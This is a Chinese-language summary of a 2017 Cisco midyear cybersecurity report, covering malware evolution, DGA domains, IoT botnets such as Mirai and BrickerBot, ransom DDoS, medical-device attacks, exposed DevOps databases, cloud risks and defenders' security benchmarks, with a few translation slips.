Cisco的安全团队Talos坚持进行漏洞研究和威胁趋势分析。漏洞研究尤其重要，因为他强调了攻击者和防守者之间的战斗。一般认为攻击者有优势，因为有更多的时间进行准备。漏洞研究让防守者能够在攻击者利用漏洞之前进行防护。通过找出0day漏洞以及与软件厂商协作，可以确保补丁开发和分发的时效性，减少0day的窗口期。
另一个趋势是攻击者从利用攻击发起攻击转变为利用垃圾邮件。在研究中，包含Flash和Java软件的威胁变少了，因为浏览器开发者拦截了相关的插件，因此，攻击者很难利用这些发起攻击。
Time to detection检测所需时间
Cisco定义TTD为攻击产生到检测到的窗口时间。图中，TTD的中位数变大表明攻击者引入了新的微信；TTD变小，表明防守者很快找出了已知的威胁。
图20反映了2016年11月到2017年4月之间发效率最高的前20个恶意软件家族。平均TTD为3.5小时，比较老的和流行的威胁的TTD时间小于3.5小时。一些漏洞虽然是已知的，但是也很难找出来，因为攻击者使用了不同的混淆技术。
## Time-to-evolve趋势：Nemucod, Ramnit, Kryptik, and Fareit
一些恶意软件家族产生大量的DGA（domain generation
algorithms），用来保持恶意软件的新鲜度和攻击用户系统的有效性。一些恶意软件家族产生大量的DGA域名，这些域名与给定的域名的不同的，是一种隐藏流量和避免被检测的有效方法。研究人员分析了web攻击的数据，包括web代理数据、云和终端高级恶意软件产品、和复杂的反恶意软件引擎。通过这些数据可以进行TTE的分析，TTE是攻击者改变恶意软件传输或者攻击策略所需要的时间。
从2016年11月到2017年5月，研究人员对4大著名的恶意软件家族进行了深入分析，分别是Nemucod, Ramnit,
Kryptik和Fareit。分析了传递这些恶意软件的文件类型和文件内容类型的变化，对每种恶意软件家族，检查了web和邮件传递的方法。
图21是该时间段内四大恶意软件家族进行web攻击所使用的特别的攻击向量
图22是该时间段内四大恶意软件家族进行email攻击所使用的特别的攻击向量
### TTE分析：Kryptik
Kryptik恶意软件是高级银行木马的合并，该木马的源码是开放的。TTE研究中，大约1/3的Kryptik恶意软件的web事件包括JavaScript，约25%的使用.php扩展。包含MIME类型的文件有word、octet流和HTML。大多数邮件事件使用的是.zip、.js和可执行文件。
图23的数据表明，恶意软件很难被检测到。到2017年4月底，Kryptik RAT TTD的中位数大约是平均TTD的2倍。
### TTE 分析：Nemucod
Nemucod仍是2017年最常见的恶意软件家族，下载器被用来分发恶意软件和其他威胁，比如后门木马等。Nemucod使用了超过15种文件扩展和文件内容类型的组合，见图24。从图中可以看出，Nemucod主要依赖hashes赶在防守者的前面，而hash的时间都小于24小时。最近几个月里，恶意软件使用older
hash比较多，这表明安全社区在成功检测到了Nemucod的新实例，所以恶意软件作者开始使用之前成功使用过的older hash。
## DGA域名的活动期expanding 和overlap
The expanding life spans—and overlap—of DGA domains
许多恶意软件家族依赖DGA来快速产生伪随机的域名来对抗检测。DGA域名活动期比较短，但有时候也可以持续几个月。Anomali公司记录了一些与恶意软件家族相关的DGA域名的活动期。研究结果显示，大多数5年前观察到的DGA域名的活动期为3天左右。然后，DGA域名的平均活动期明显增长到大约40天。
出现这种情况的原因可能是攻击者为了尽快进化恶意软件来避免被拦截。恶意软件作者需要赶在进入拦截黑名单之前开发出新变种。恶意软件背后生存DGA域名的算法在创建域名时，有2个主要因素：域名的长度和可能使用的高等级域名。需要经常产生新的DGA域名和这些限制导致了恶意软件家族经常在生存和注册DGA域名时花费了太多的精力。最终可能导致与其他8-10个字母.com格式的域名产生碰撞。在这样饱和的空间里，DGA域名可能会以进入拦截黑名单而告终，因为竞争者可能之前已经使用了相似的DGA域名，而该域名已经被防守者发现并加入黑名单中了。
## 通过分析基础设施来了解统计工具
在分析的过程中，找出了潜在的恶意域名，IP地址，帮助防守方在攻击方侵入网络钱采取行动。域名和IP地址是与鱼叉式钓鱼攻击相关的。通过研究相关的域名，安全专家可以找出攻击者控制的其他的基础设施，比如域名和IP地址，然后把这样域名和IP地址加入到拦截黑名单中。
根据ThreatConnect的分析，该过程的步骤如下：
Bellingcat提供了来自于俄罗斯政府资助的黑客的鱼叉攻击的邮件头消息，ThreatConnect使用之前的Fancy Bear行为来判断Fancy
Bear主导了对Bellingcat的攻击。
ThreatConnect用WHOIS注册信息找出鱼叉攻击消息的域名的注册时间和注册域名的email地址。
用被动DNS可以找出注册域名所用的IP地址。这就找出了与攻击者相关的IP地址。
再次使用被动DNS，研究人员找出了哪些IP地址与域名之间的关系，来排除多域名的IP地址。
用WHOIS和被动DNS，ThreatConnect找出了可能的攻击者的IP地址的子集，缩小了可能被用于APT攻击的IP地址的范围。
从IP地址的子集中，ThreatConnect用被动DNS找出同一时间同一IP地址的不同域名。
ThreatConnect还找出了注册原始域名的同一email地址注册的其他域名。当一个email地址注册了APT活动相关的域名时，其他用该email注册的域名也可能被用于APT攻击。
ThreatConnect用新发现的域名来进行随后的迭代分析。
ThreatConnect使用被动DNS来找出已知域名的子域名。这些信息可以帮助找出系统IP地址上的邮件服务器和其他子域名。
图28中使用的分析方法可以帮助找出与攻击活动和潜在的攻击活动相关的指数级的邮件地址，IP地址和域名。
图29 ATP组织使用的基础设施之间的关联
## 供应链攻击：一个被攻击的单元会影响整个企业网络
攻击者也想让攻击的操作变得更高效。RSA发现，供应链攻击对网络犯罪的攻击者来说，可以付出较小的努力得到最大的攻击效果。RSA检测到有攻击者向企业系统管理员常用的合法软件中插入木马来帮助分析Windows系统日志。
被攻击的软件可以在厂商的网站上下载，导致的结果就是，利用一个被攻击的单元——厂商的网站，通过软件和自动更新，能够把威胁传播到更多的企业网络中。RSA通过观察未找出的指向某URL的信标来追踪了被黑的软件，而该URL指向的IP地址会被解析到已知的恶意域名。通过记录域名中发现的恶意软件的源头，RSA团队发现有企业已经感染了该恶意软件，而且来源是系统管理软件。
RSA发现软件的下载页和升级页都被黑了。这就意味着之前下载了被黑版本软件的公司如果选择了自动更新，那么仍然处于威胁中。虽然网站被黑的时间只持续了2周，但是厂商并没有通知使用被黑软件的厂商。除非企业检测到被黑软件或者厂商触发了修复机制，否则威胁会一直存在。
如果企业想要拦截供应链威胁，检测过程很难。终端安全可能是最好的防护，实时监控可以帮助检测可疑的活动。
攻击者需要提供一个被黑的单元，然后就可以感染许多目标。这些攻击是静默的，给攻击者足够的时间来隐藏。
## 指向学术网络的基础设施Infrastructure harvesting targets academic networks
在Kingslayer的例子中，攻击者的方法包括隐藏在合法的硬件中，给软件使用者一种他们提供的产品很干净的印象。在Schoolbell僵尸网络的例子中，攻击者使用基础设施作为平台。终端安全和实时监控能够帮助组织避免供应链攻击的威胁，帮助检测RSA所谓的“infrastructure
harvesting”。在这种攻击中，攻击者会尝试控制企业的基础设施，然后利用这些设施去进行大规模的利用活动。
因为该僵尸网络的目标是学术网络，因此Schoolbell僵尸网络是这种对抗策略的一个例子。在schoolbell僵尸网络的活动高峰，RSA发现被感染的僵尸网络个数大约有2000个。Schollbell僵尸网络和infrastructure
harvesting方法给了这些组织一个警告，那就是他们不是网络攻击的目标，因为他们没有有价值的数据。在网络安全方面，学术组织可能采用的方法比同样大小的其他行业组织更松弛、更不安全。因此，学术组织可能更易成为一些攻击者的目标，这些攻击者可能只是想攻入网络而且不被检测到。而学术机构的网络正是这样的理想目标。
## IoT僵尸网络：僵尸网络在增长，而且僵尸网络已经有了
2016年的一种攻击趋势是将互联的设备变成僵尸网络，9月开始各种TB级的攻击纷纷出现。10月的DynDNS攻击导致上百个主流网站中断服务，是最严重的IoT
DDoS攻击。这些攻击正式把我们带入1TBps
DDoS攻击时代。Radware分析了三大僵尸网络的活动，分别是Mirai，BrickerBot，和Hajime。
Mirai僵尸网络是DynDNS攻击的元凶，感染了成千上万的IoT设备，然后用这些设备发起大体量的DDoS攻击。研究人员估计有上百万被感染的IoT设备参与了这些攻击。
工作原理：
1、Mirai使用BusyBox软件和60多个设备厂商的默认用户名密码暴力攻击Telnet服务器来连接到受害设备。
2、每个受感染的设备都不会再加入其他的僵尸网络。
3、Mirai发送受害设备的IP和证书到集中的ScanListen服务。
4、新加入的受害设备会帮助感染新的僵尸，是一种自复制的模式。
### BrickerBot
Permanent denial of service
(PDoS)攻击是一种快速转移的僵尸攻击，用来破坏硬件设备使其不能正常工作。这种形式的网络攻击现在越来越流行了。PDoS攻击带来的危害特别大，会严重破坏系统以至于硬件必须重新安装或更换。通过利用安全漏洞和错误配置信息，PDOS攻击能够摧毁固件和基本系统功能。
BrickerBot可以：
黑掉设备。使用跟Mirai一样的暴力Telnet方法来黑掉设备。
破坏设备。一旦成功访问设备，BrickBot执行一系列的linux命令来破环存储。然后执行命令来破坏网络连接、设备性能、擦除设备上的所有文件。
图33 BrickerBot 执行的命令顺序
### Hajime
安全情报研究人员通过严密监控发现Hajime非常有意思。因为虽然感染了成千上万的设备，但是并没有采取进一步的行动。Hajime的运营者声明说自己是白帽黑客。
工作原理：Hajime是一个灵活的、精心设计的IoT僵尸网络，可以成员僵尸进行自我更新和功能扩展。Hajime通过扫描互联网TCP23和TCP5358开放端口发现和感染新的受害设备。同样使用暴力攻击来登录和控制设备。
安全研究人员发现Hajime会清除感染了Mirai的设备，而BrickerBot会破坏感染了Mirai或Hajime的设备。
### Ransom denial of service (RDoS)
2016年，约49%的公司收到至少一次网络勒索事件，其中39%是勒索软件，17%是勒索DoS。图35是2016年不同国家网络勒索攻击的分布。
Radware声称，Armada
Collective对大多数RDoS攻击负责。勒索数额一般为10到200比特币（大约3600到70000美元）。当支付时间到了以后，攻击者会以超过100Gbps的速度带走目标的数据中心。Copycats目前使用Armada
Collective的名字。使用的技巧有假的勒索信，希望以低成本来获取高收益。下面是一些检测虚假勒索信的技巧：
* 勒索要求。一般Armada Collective要求的赎金是20比特币，其他的组织勒索的数额也在20比特币上下。所以，比较低的勒索数额可能就是假的。
* 检查网络。真正的攻击者会在发送勒索信息前进行一波小的攻击。如果网络没有任何异常，勒索信和威胁可能就是假的。
* 寻找组织结构的漏洞。真正的攻击者是非常有组织的，假的黑客一般不会链接到一个网站，也不会有官方帐号。
* 考虑其他的攻击。真正的攻击者可能同时的目标是很多公司，确认其他行业组织是否收到类似的勒索。
### 恶意攻击经济学的变化
网络攻击的频率、复杂性、体量在过去的几年里都急剧上升，这表明黑客经济已经到了拐点。Radware说目前的黑客社区从以下几方面得利。
* 对一系列的有用且低成本的资源的快速访问；
* 有价值的目标把越来越多的有价值的信息放到网络上；
* 随着互联网的发展，影子经济的成熟提供给恶意攻击者效率、安全和匿名性。
## 勒索医疗设备的情况出现了
为了在互联的世界中变得更加高效，许多医疗设备也必须与IT和操作技术结合在一起。然而，设备和系统中已知的安全漏洞随着互操作的增多，将原本互相隔离的系统（漏洞）联系在一起，给组织带来更多的安全风险。最近的WannaCry勒索软件攻击正说明了这点。虽然不是第一起针对医疗行业的攻击，但是影响了两个美国医院的Windows系统的放射设备。TrapX安全研究人员说，针对医疗设备的勒索和其他恶意软件将持增长态势。这种攻击叫做MEDJACK，即医疗设备劫持medical
device hijack。
医疗设备攻击的影响是很大的，因为一般中小型的医院有大概12000到15000台设备，其中10-12%是连接网络的。跟许多的物联网设备一样，医疗设备设计之处并没有考虑安全问题。这些设备运行的系统大多比较老，而且没有补丁升级，IT人员也很少对这些设备进行安全监控。即使安全团队发现了漏洞，他们也并不能做什么，因为只有厂商才有这些设备的访问权限。在一些情况下，安全团队必须手持补丁，因为重要设备一旦下线，带来的损失非常大。而设备厂商、政府机构等对这些设备作出一点修改可能需要很多年。而且对医疗设备的支持花费也是很大的。
许多的网络犯罪都想黑掉医疗设备，因为攻击者知道对一些救命的医疗设备发起的勒索行动收益一定是巨大的。许多攻击者可能不止于此，他们可以控制植入式医疗设备，可能会对病人造成不可估量的伤害。Trapx的研究人员分析了一起正对肿瘤系统发起的XP系统漏洞利用攻击。攻击者感染了3个机器，把其中一台变成僵尸网络的管理者，并在医院网络中进行传播。
另一个MEDJACK事件是关于MRI系统被黑。同样利用的是xp系统的漏洞，攻击者在系统中找到了患者的数据，然后意识到可以进一步控制医院的PACS系统。取证分析发现，攻击者已经在医院网络中活动超过10个月。
TrapX研究人员建议企业和其他组织采取下面的步骤来减少对医疗设备和其他重要的OT技术的勒索攻击的可能性和影响：
* 了解连接网络的医疗资产的种类和数量；
* 与供应商保持联系、确保他们履行了合同中的软件、设备和系统的更新和替换工作；
* 与高层讨论这些问题，让他们意识到安全的重要性和所面临的安全威胁；
* 用工具进行网络和自动化威胁检测和补救。
# 漏洞
## 地缘更新：WannaCry攻击
在5月中旬大规模的WannaCry勒索软件攻击之前，全球关于网络空间安全的讨论急剧上升，而且收到的威胁会越来越严重。Cisco从最近的全球攻击中发现了3个重要的问题：
* 1、政府应该向厂商及时报告软件漏洞，包括POC；
* 2、技术开发人员应该公开获取、处理和公布漏洞、补丁、解决方案和相关工作信息的机制；
* 3、企业领导应该把网络安全放在最重要的位置上。
## 漏洞升级：密钥泄露之后的攻击事件增多
之前的Cisco安全报告讨论的漏洞的泄露近几个月还存在，比如OpenSSL。研究发现了与密钥泄露相关的漏洞活动：Shadow
Brockers组织公布的漏洞利用影响Windows系统，Operation Cloud
Hopper运动包含针对管理服务提供商的钓鱼攻击，WikiLeaks Vault
7发布的美国情报文档描述了流行软件方案和操作系统如何被黑。漏洞可以在大众没有意识到的情况下存在和被利用。发布的漏洞允许更多的人去利用它，也给了防守者机会在寻找防御的方法。
图39中的Office漏洞发布后被就Dridex僵尸网络利用了，Apache Struct2漏洞也很快被利用了。
## 客户端漏洞增长趋势
2016年的Cisco半年安全报告提到服务端的漏洞正逐渐增长，攻击者利用服务端的软件漏洞来获取整个企业网络的访问权。2017年的前几个月，服务端的漏洞比2016年同期增长了36%左右；而客户端的漏洞大约增长了35%。服务端漏洞增长的一个原因是第三方软件漏洞需要手动打补丁。如果打补丁不及时，服务端漏洞的利用窗口将会很大。客户端漏洞也在增长，但是可以通过自动更新的方式来打补丁，这种方式可以缩小利用的窗口期。
## 利用工具活动明显减少
利用漏洞的工具利用活动明显减少，整体的利用工具活动也减少了。软件厂商尤其是web浏览器拦截了常用的威胁来源，如Adobe
Flash和Java；攻击者开始使用简单的攻击策略，如勒索软件，DDoS，BEC等。
### 漏洞种类：缓冲区错误居首
在Common Weakness Enumeration (CWE)
威胁种类中，缓冲区错误仍然是网络犯罪分子最常用的漏洞利用。这是软件开发者经常犯的编码错误。为了预防该错误，开发者应该确保缓冲区的限制确保不被利用。
## 不要让DevOps技术暴露企业
2017年1月，攻击者开始加密公开的MongoDB实例并勒索赎金来换取解密密钥和软件。攻击者随后把目标扩大到其他的数据库，如CouchDB和Elasticsearch。由于没有进行合理的应用或者为了合法用户访问方便故意开放，DevOps服务经常是暴露的。Rapid7把对这些数据库的攻击分类为DevOps勒索软件攻击。公司使用的技术包括Docker，MySQL，MariaDB和其他流行的DevOps组件。
### CouchDB
调查中，75%的CouchDB服务器是open的，即连接到互联网且不需要验证。只有不到25%的服务器需要验证。2-3%的服务器好像被勒索了。约2%左右的CouchDB服务器有PII，PII包含医疗诊所信息、信用卡号、个人通讯录等。
### Elasticsearch
同样的，75%的Elasticsearch服务器是open的，而20%左右的服务器好像被勒索了。好消息是含有PII信息的服务器比例比较低。
### MongoDB
虽然1月的勒索攻击是针对MongoDB服务器的，使用MongoDB服务器的个人和企业组织需要增强他们的安全实践。几乎100%的MongoDB是open的，好消息是这些服务器几乎不含有敏感信息。其中很大比例的服务器是新版本的，可能最近没有更新或打补丁。具体见图45。
图46是Rapid7在研究中发现的MongoDB服务器的数量库大小分布图。大多数数据库表的数量小于10，应该是实验用的服务器。大于20个表的服务器应该是真正的生产系统。
### Docker
Docker是一种业务流程框架，其运营者对安全相当重视。然而，仍然有超过1000个Docker实例是open的。大多数发现的Docker实例分布在美国和中国。大多数的Docker实例好像是废弃的测试系统。但是1000个实例中的245个的内存至少是4G，应该是运行的生产系统。
Rapid7发现，199个open
Docker实例中，至少3个活动容器在运行（图49）。企业组织使用这些不安全的生产系统是冒着极大风险的。攻击者可以创建互联网到任一个系统的shell连接，并控制他们。
使用这些DevOps技术的公共互联网实例的组织需要按照下面的步骤来确保不处于威胁中。安全团队应该：
* 开发安全应用DevOps技术的严格标准；
* 维护公司拥有的公共基础设施的活性；
* 保持DevOps技术的更新和补丁分发；
* 执行漏洞扫描操作。
## 企业组织对已知Memcached服务器漏洞更新的速度不够快
攻击者在寻找暴露在互联网上的不安全的数据库，他们可以进行攻击、数据窃取、勒索等操作。自1月的MongoDB数据库勒索攻击之后，勒索攻击变得越来越流行了。企业组织使用Memcached来改善web服务和访问的速度和性能。调查中，我们发现了3个远程代码执行漏洞，其中一个是服务端的认证机制，意味着即使开启了服务端的认证仍然可以被利用。在报告了这3个漏洞的几个月后，我们在互联网上扫描来检查补丁分发的状态。即使厂商和Linux都很快发布了更新，仍然有79%大约11万的Memcached服务器仍然存在远程代码执行漏洞攻击的风险。
影子经济中攻击互联网上的数据库和其他设施的趋势让补丁分发变得更加急迫。及时加入了认证，DevOps服务仍然存在风险。
只有约22%的服务器开启了认证，事实上所有需要认证的服务器也有被攻击的风险。我们研究中取样的服务器分部在全球，主要是在美国和中国。
## 黑客利用云技术Malicious hackers head to the cloud to shorten the path to top
targets
云是黑客攻击的边界，黑客也在尝试对云进行攻击。因为云系统对许多企业组织来说是具有重要意义的。黑客意识到可以破环云系统来渗透连接的系统。2016年底，Cisco发现黑客对云的攻击活动明显增多了，而且技术不断熟练。2017年1月，研究人员发现黑客在晚上寻找有效的企业身份。利用网络上被黑的帐号，黑客使用暴力攻击来创建一系列验证过的企业用户证书（用户名和密码）。黑客使用20个可疑的IP地址上的服务器来尝试登录多个公司的云应用。2016年12月到2017年2月，研究人员用行为分析和其他工具分析了上千个客户公司的云环境。发现了可能登录的模式，黑客用20个IP随机循环登录来避免被检测到。
## OAuth带来的风险
在Cisco2017 Annual Cybersecurity
Report中，研究人员揭示了第三方云应用引入企业带来的风险。一旦通过OAuth认证，这些应用接触公司的基础设施，与企业云和SaaS平台自由通信。如图52所示，
每个企业组织的云应用的数量自2014年依赖急剧增长。每个企业平均有超过1000个独立的应用和超过20000次的安装。
最近针对Gmail用户和尝试滥用OAuth基础设施的钓鱼攻击强调了OAuth的安全风险。攻击者尝试控制用户的email账户，并在通讯录中传播钓鱼蠕虫。Google报告称约0.1%（10亿）用户收到这项攻击的影响。根据该数字，Cisco估计超过30万公司被该蠕虫感染。
### 云是一个被忽视的角落：单个特权云用户风险巨大
迄今为止，一些大的破坏最初都是某个单独的特权用户账户被黑或误用。黑客一旦获取了特权账户权限，就有了进入网络内部的钥匙，可以进一步窃取数据并造成更大的伤害。然而，许多组织并没有注意到该风险为了更好地评估这个安全问题的范围，Cisco威胁研究人员检查了495个公司组织的4410个特权用户账户，发现每个云平台上有6%的终端用户有特权用户账户。
研究发现，82%的特权用户每个月只从1-2个IP地址登录。对其他非正常模型的活动应该进行调查。60%的特权用户从来没有登出操作，这让未授权的用户更容易访问。用户应该每天登录来进行管理活动，工作完成后应该登出。
## 云安全的共享责任
公司在扩展云应用时，需要了解确保云安全中的角色。云服务提供商负责所出售技术的物理、法律、操作和基础设施的安全。企业负责底层云服务的使用安全。在共享的环境中应用同样的最佳实践可以最大限度地防止云系统的非授权访问。
### 未管理的基础设施和终端使企业处于威胁中
现在的动态网络通过引入新的安全威胁、减少可见性来增大攻击面。云和影子IT设备、应用是造成该问题的罪魁祸首。网络和网络时代的终端、资产管理方案能够创建未知的和未管理的安全gap。许多公司低估了企业网络、终端和云基础设施的盲点的风险。根据Lumeta的研究，不可见性可导致20-40%的网络和终端基础设施变得不知道或者未管理。这个问题纵向地影响政府、医疗行业、经济服务和科技组织。黑客可以很容易地黑掉未管理的网络基础设施和终端，然后攻击网络内的其他特定目标。这些未管理的设备可以用来被用来过滤数据，发送未授权的Tor流量，可以变成僵尸网络的一部分。即使一个简单的路由器，网络防火墙，或者分片误配置都能给攻击者机会渗透基础设施，并获取敏感数据的访问权。
为了获得可见性，组织需要访问实时的、内容推动的安全情报。没有可以实时监控和泄露检测的安全方案，攻击者能够成功地访问网络且不被检测到。组织还应该检查他们的分割策略，应用可以检测效果的鲁棒的工具。组织必须列出连接到网络的设备和系统的清单，如果安全团队没有最新的管理设备清单，那么可能会漏掉20%的连接到网络的设备。这样的清单应该定期和自动地更新，因为企业网络、终端、云基础设施是经常变化的，而且安全职员独自不能有效地进行监控这种变化。
# 防守者的安全挑战和机会
## 安全能力基准研究Security Capabilities Benchmark Study: Focus on verticals
虽然每个行业所面临的安全挑战不同，每个行业的安全成熟度也不同，但是也有一些共同的考虑。每个行业的安全专家都意识到不断成熟的威胁，而且需要比攻击者提前一步。在纵向上，IT和OT的结合非常重要，而且要确保结合的系统是受保护的。最近的WannaCry勒索软件攻击引起欧洲的Renault-Nissan发电厂宕机，这是一个互联的系统被攻击影响的例子。如果连接不安全，非目标的勒索软件都可以影响OT系统。
以前，这些技术和相应的团队是分开工作的，OT职员管理机器和工厂，IT管理企业商业应用。如今，许多OT传感器和系统已经归属商业端。随着互联的系统来到OT的世界，IT和OT不能再相互隔离了。IT和OT可以共享数据来帮助改善安全状况和产品质量，可以一起应对网络安全威胁。为了达到这样的目的，他们必须开发深度防御的能力，而不互联的设备不在考虑范围中。
## 公司规模与安全方法Company size affects approach to security
攻击者破坏网络、窃取信息，与大企业相比，中小型企业（small and medium-sized
businesses，SMBs）抵御这些风险的能力有限。如果公共破坏伤害了一个品牌，引起客户转向他的竞争者，此时，大公司可以更好地预测这种影响。SMB应该确保有减少威胁和破坏带来的影响的安全机制和安全工具。研究中，与大公司相比，SMBs在抵御攻击方面有明显的缺陷。SMB天然地会想利用更少的资源和有限的支出来确保企业的安全，所以会把某些特定的威胁或功能看做高威胁的。29%的SMB认为勒索软件是最大的威胁，而员工数超过1万的企业只有21%这么认为。
因为预算和支出比较少，SMB一定程度上不太会有重要的安全防御措施，比如34%的SMB使用邮件安全工具，而45%的大公司使用邮件安全工具。
与小公司相比，大公司更可能有正规的书面的安全策略（66% vs 59%），而且会要求厂商有ISO 27018认证（36% vs 30%）。
寻求安全改善的SMB可以关注安全策略和步骤，采纳常用的威胁防御来减少攻击带来的负面影响。与外部安全服务协同可以企业带来有效的正规的安全策略来开发最佳实践。为了使用适合企业需求和预算的安全基础设施，安全团队需要与厂商写作来提供安全解决方案。方案应该把安全环境简化为可管理的有效级别。同样地，越来越多的组织采用NIST网络空间安全框架来建立企业安全防线。不管企业规模如何，一个总体的安全方案可以提供更有效的安全保护，应对发展的威胁。
## 用服务来弥补知识和人才缺口Using services to bridge knowledge and talent gaps
在安全部门内部，关于哪种防御方法更优的讨论一直有，最佳的解决方案还是集成的架构。安全团队面临的另一个影响安全抉择的挑战就是：缺少安全专家。随着威胁持续升级和技术选择增多，企业应该增加对安全服务的依赖来弥补人才的缺口。寻找合理的人才也影响着安全团队，Security
Capability Benchmark
Study研究发现在许多行业中，人才缺乏是采纳高级安全流程和技术的主要障碍。事实上，人才缺乏是一个全球问题。外部的服务可以弥补这种人才上的缺口。除了人才，安全知识是防护框架中常被忽略的因素。长期安全专家的专长是提供产品不能提供的分析等功能。
Alert
fatigue是内部安全团队一直遇到的问题，许多安全人员看到的警告远超过自己所能进行调查的数量，这就会导致一些潜在的严重安全威胁未被修复。当有一些低级的警告时，安全人员可以利用技能进行自动化处理。当对低等级的警告自动化处理时，企业就可以花更多时间在对企业安全影响更大的、更优先的关注点上了。引起Alert
fatigue的原因有很多，比如孤立的系统可能会产生重复的警告，团队可能不能区分不同优先级的警告或假阳性的警告。可能是因为缺乏审计这样的安全工具，这就是外部的服务团队可以较少这种fatigue并提供给企业有差别的威胁分析和响应。缺乏产品知识可能会让企业购买的技术白白浪费掉，产品常常需要产品专家进行实施操作，注意不是安全专家。安全团队可能不懂如何将产品结合在一起来提供对威胁的整体视角。有经验的安全管理团队能帮助安全专家管理云安全方案、理解如何保护数据。云提供商可能不会使用诸如双因子认证这样的安全保护，专家能帮助企业研究SLA和合同来决定云提供商使用的防护方案。
### 外购服务和威胁警告数据
在检查不同国家对外购服务的使用时，一些特定国家的SMB表明有很大可能性使用了外购服务而不是企业自己的服务。比如，在澳大利亚，65%的SMB使用外购的应急响应服务，只有41%使用企业自己的服务。
在对告警和修复的研究中发现，印度、巴西、和美国的SMB占的比例比较高，而在告警修复方面，中国、俄罗斯、英国的比例比较高。
## IoT安全威胁
Cisco认为IoT有三部分组成，分别是IT（Information technology）、OT（operational
technology）和CT（consumer
technology）。工业物联网（IIoT）是指连接的设备在工业控制网络中，这是相对企业IT网络和数据中心的一个概念。IoT在企业合作和革新上有很大发展空间，同样企业和用户面临的安全威胁也很多。
不可见性是一个问题，大多数的防护者并没有意识到IoT设备是联网的。IoT设备包括从摄像头到温度感应器等等，而这些设备并没有考虑太多的安全性。许多设备的安全性远远落后于桌面安全性，漏洞的修复需要几个月甚至几年的时间。除了这些，还有以下特征：
* 很少或者没有CVE报告和更新；
* 在特定的架构上运行；
* 有一些没有打补丁或者过期的应用是有漏洞的，比如Windows XP；
* 很少打补丁。
虽然IOT设备不能很容易地访问，甚至拥有者也不能，当系统被黑后，几乎不可能修复。这些设备可以作为攻击者的基础。IOT设备的一个安全问题是防护者可能不能理解来自设备的安全警告的本质。除此之外，也不清楚组织内谁应该负责解决IOT安全问题。防护者需要关注潜在的IOT的漏洞，因为攻击者想要利用这些设备来发起勒索攻击、窃取隐私信息等。IOT设备的漏洞是属于攻击者随时可以利用的。
黑掉大规模的物联网设备可能会严重影响商业、政府甚至网络的运行。利用IOT设备发起的DDOS攻击已经产生了，IOT僵尸网络也逐渐增多，说明攻击者已经盯上IOT了。
为了应对IOT的安全挑战，攻击面正在快速增长，而且变得更加难以监控和管理。防护者需要：
* 保持以前签名的活性；
* 对IOT设备进行IPS防护；
* 严密监控网络流量；
* 追踪IOT设备如何接触网络并与其他设备互联；
* 及时打补丁；
* 与有产品安全基线和发布安全建议的厂商一起协作；
## 安全能力基准研究：特定行业Security Capabilities Benchmark Study: Focus on select
verticals
### Service providers服务提供商
**Key industry concerns主要的行业考虑**
服务提供市场是一个不同的行业，包括通信、云和web基础设施、媒体、提供SaaS模型应用的商业等。除了这些以外，服务提供商出售管理安全服务：调查中71%的服务提供商对终端客户提供管理安全服务。服务提供商有金字塔式的挑战，比如保护IT和生产设施以及客户的数据。59%的服务提供商安全专家说他们优先确保数据中心或核心生产网络的安全。许多服务提供商的主要挑战是理解如何将安全工具和过程结合在一起，获取最大效率，并且减少所拥有的服务和工具的扩展。服务提供商的经济现实是除非提供管理服务，否则安全不但不赚钱还花钱，因此需要精简。但是竞争和威胁形态的压力增加了对安全的关注。
**服务提供商的规模创造新的挑战**
在每个行业，安全厂商和攻击的增值是个问题，因为解决方案是不集成的，也不提供供应商面对的威胁的执行层面的视觉。在服务提供商来看，这个问题因为市场规模的问题被放大了。2/3的服务提供商的安全专家说他们依靠6个以上的厂商，38%的安全专家说他们依赖超过10个厂商。当问到正在使用的产品，70%的安全专家说他们使用至少6种安全产品，1/2使用超过10种安全产品。
**Breaches can increase customer churn破坏可以增加销量**
因为破坏，57%的服务提供商说他们解决过公共监督的问题。在遭受破坏的企业中，约一半说破坏帮助他们改善安全状况。服务提供商的安全专家看起来能很快从破坏中学习。去年，有44%的服务提供商报告因为攻击受到损失，30%说因为攻击失去了客户或商业机会。服务提供商说操作、名声和客户保有量是公共安全破坏带来的商业破坏。在一个大的竞争环境中，服务提供商从安全破坏中失去了很多。客户有很多的选择，可以很快选择其他的可以保护他们数据的提供商。
**High adoption of standards标准采用量高**
服务提供商在使用标准方面高于其他行业，这可能是他们管理商业范围能力的体现。约2/3的服务提供商说他们有正规的安全战略和标准的信息安全策略实践。除了这些，基于所有的服务提供商都认为安全流程和步骤在他们的企业中是明确的，而是理解清楚。
### Public sector公共部门
**Key industry concerns主要的行业考虑**
因为不同的限制，公共组织对安全威胁的反应不是很积极。有限的预算，很难吸引人才，缺乏对威胁的可见性都影响着公共组织应对网络攻击的能力。但是，公共部门由于规则的限制，比私有单元更加关注安全威胁管理。比如，美国联邦机构必须遵从FISMA（Federal
Information Security Management
Act）来保护重要信息系统的机密性和完整性。在州和本地也有同样的安全要求。公共部门组织也在努力管理云迁徙的过程，这也是规定所要求的。在联邦级，Federal
Risk and Authorization Management Program
(FedRAMP)提供了使用云产品和服务的标准，州政府和本地争睹也需要存储政府数据的云提供商有相关认证。
**管理云上数据**
对公共部门组织来说，迁徙到云的过程有很多的好处也有很多的挑战，都需要持续的防护。1/3的公共部门组织说目标攻击、APT攻击、内部渗露是高级的安全威胁。除了这些，对攻击防御来说，公有云存储和云基础设施也是比较有挑战的。云存储提供一系列不同的工具来保护数据，这迫使安全团队重新思考如何配置工具和过程来确保数据的安全。
**预算、人才缺乏影响威胁分析**
预算、人才和监管的限制影响公共部门达到安全目标的方式。比如，组织在采用某些特定工具时会比较慢，因为需要有相关知识的员工来实施和分析结果。只有30%的公共部门安全专家称所在组织使用渗透测试和终端、网络取证工具。这些工具是深度安全防护策略的重要支撑，如果不使用这些工具，那么组织可能会重复性地遭遇网络破坏事件。由于缺乏安全专家，公共部门组织威胁调查方面的实力也一般，约40%的公共部门组织报告说每天有成千上万的告警信息，却只能调查65%左右。其中这些详细调查的威胁中，32%被识别为威胁，但是被识别出的威胁最终只有47%被修复了。未进行调查的威胁数量说明了对共享告警信息和提供分析的工具的需求。工具可以增加对告警信息的理解，然后员工决定哪些需要马上注意。除此之外，自动化可以帮助解析一些威胁，减少安全团队的负担。
为了检查大量的告警信息，Cisco的安全研究专家说道公共部门组织可能需要大量的安全员工，但是却没有相应的人员编制。55%的公共部门组织的安全员工数量小于30人，27%的公共部门组织相信他们缺乏有经验的员工，而且这是不能使用高级安全流程和技术的主要原因。这也说明自动化工具对于建立每天能够处理大量告警信息的安全防护系统是必要的。
**破坏推动安全改善**
